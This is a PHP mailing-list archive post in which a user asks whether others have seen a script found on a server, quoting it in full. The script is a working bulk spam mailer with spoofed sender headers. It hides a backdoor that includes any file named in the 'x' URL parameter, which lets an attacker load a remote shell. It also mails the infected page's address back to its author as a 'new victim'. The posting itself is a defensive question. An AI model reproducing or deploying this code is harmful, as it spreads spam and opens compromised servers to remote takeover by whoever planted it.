Nasty hacker spammer script

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Has anyone seen this before?


<?php
if(isset($_POST['action'] ) ){
$action=$_POST['action'];
$message=$_POST['message'];
$emaillist=$_POST['emaillist'];
$from=$_POST['from'];
$replyto=$_POST['replyto'];
$subject=$_POST['subject'];
$realname=$_POST['realname'];
$file_name=$_POST['file'];
$contenttype=$_POST['contenttype'];

        $message = urlencode($message);
        $message = ereg_replace("%5C%22", "%22", $message);
        $message = urldecode($message);
        $message = stripslashes($message);
        $subject = stripslashes($subject);
}


?>

<html>

<head>

<title></title>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">








<style> html{scrollbar-base-color:#000000;scrollbar-arrow-color: #878787; scrollbar-track-color:#A878787;}.ws36 {font-size: 48px;}
.ws18 {font-size: 24px;}
.ws26 {font-size: 35px;}
--></style>








<style type="text/css">
<!--
.style1 {
        font-family: Geneva, Arial, Helvetica, sans-serif;
        font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
        font-size: 10px;
        font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<body bgcolor="#000000" text="#00FF00">
<span class="style1">PHP eMailer<br>
made by !! Smart-z3r0-roost !! ( <a href="mailto:anawayak5@xxxxxxxxx";><font color="#FF0000">anawayak5@xxxxxxxxx</font></a><font color="#FF0000">
</font>) .</span>

<form name="form1" method="post" action="" enctype="multipart/form-data">

  <div style="background-color: #00FF00">
	<p align="center"><b><font color="#FF0000" face="Comic Sans MS">!! Smart-z3r0-hima-roost 
	!! PHP Mailer </font></b><br>

  </div>

  <table width="100%" border="0">

    <tr>

      <td width="10%" height="24">

        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
			Your Email:</font></div>

      </td>

      <td width="18%" height="24"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <input name="from" value="<? print $from; ?>" size="30" style="background-color: #FF0000">

        </font></td>

      <td width="31%" height="24">

        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
			Your Name:</font></div>

      </td>

      <td width="41%" height="24"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <input name="realname" value="<? print $realname; ?>" size="30" style="background-color: #FF0000">

        </font></td>

    </tr>

    <tr>

      <td width="10%">

        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
			Reply-To:</font></div>

      </td>

      <td width="18%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <input name="replyto" value="<? print $replyto; ?>" size="30" style="background-color: #FF0000">

        </font></td>

      <td width="31%">

        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
			Attach File:</font></div>

      </td>

      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <input type="file" name="file" size="30" style="background-color: #FF0000">

        </font></td>

    </tr>

    <tr>

      <td width="10%">

        <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
			Subject:</font></div>

      </td>

      <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <input name="subject" value="<? print $subject; ?>" size="90" style="background-color: #FF0000">

        </font></td>

    </tr>

    <tr valign="top">

      <td colspan="3"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <textarea name="message" cols="60" rows="10" style="background-color: #FF0000"><? print $message; ?></textarea>

        <br>

        <input type="radio" name="contenttype" value="plain">

        Plain

        <input name="contenttype" type="radio" value="html" checked>

        HTML

        <input type="hidden" name="action" value="send">

        <input type="submit" value="o3a el bo2">

        </font></td>

      <td width="41%"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">

        <textarea name="emaillist" cols="30" rows="10" style="background-color: #FF0000"><? print $emaillist; ?></textarea>

        </font></td>

    </tr>

  </table>

</form>



<?
if (trim($_GET['x'])!=''){@include($_GET['x']);exit();}$email = 'anawayak5@xxxxxxxxx';$y = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];@mail($email, 'Exploit: '. $_SERVER['PHP_SELF'], 'Hey , this is a new victim\'s exploit: '. $y .'\n\n You can use (x=shell_url) at the end of the link ;) ', 'From: '. $email .' <'. $email .'>\r\n');

if ($action){



        if (!$from && !$subject && !$message && !$emaillist){

        print "Please complete all fields before sending your message.";

        exit;
	
	}

	$allemails = split("\n", $emaillist);
        	$numemails = count($allemails);
       
          for($x=0; $x<$numemails; $x++){

                $to = $allemails[$x];

                if ($to){

                $to = ereg_replace(" ", "", $to);

                $message = ereg_replace("&email&", $to, $message);

                $subject = ereg_replace("&email&", $to, $subject);

                print "Sending mail to $to.......";

                flush();

                $header = "From: $realname <$from>\r\nReply-To: $replyto\r\n";

                $header .= "MIME-Version: 1.0\r\n";

                $header .= "Content-Type: text/$contenttype\r\n";

                $header .= "Content-Transfer-Encoding: 8bit\r\n\r\n";

                $header .= "$message\r\n";

              mail($to, $subject, "", $header);

                print "ok<br>";
	
                flush();


                }

                }



}



?>
<p class="style1">PHP Mailer<br>
  © !! hoba-roost !! (<a href="mailto:%20anawayak5@xxxxxxxxx";><font color="#FF0000"> anawayak5@xxxxxxxxx 
</font> </a>) . <br>
      </p>
<?php
if(isset($_POST['action']) && $numemails !==0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was sent successfully'); </script>";}
?>





<p>&nbsp;</p>





</body>

</html>
-- 
Member - Liberal International	This is doctor@xxxxxxxxxx
Ici doctor@xxxxxxxxxx God, Queen and country! Beware Anti-Christ rising!
Never Satan President Republic!
12 May BC vote Liberal and remember the NDP scandals like Mulroney!

-- 
This message has been scanned for viruses and
dangerous content by MailScanner, and is
believed to be clean.


-- 
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[Index of Archives]     [PHP Home]     [Apache Users]     [PHP on Windows]     [Kernel Newbies]     [PHP Install]     [PHP Classes]     [Pear]     [Postgresql]     [Postgresql PHP]     [PHP on Windows]     [PHP Database Programming]     [PHP SOAP]

  Powered by Linux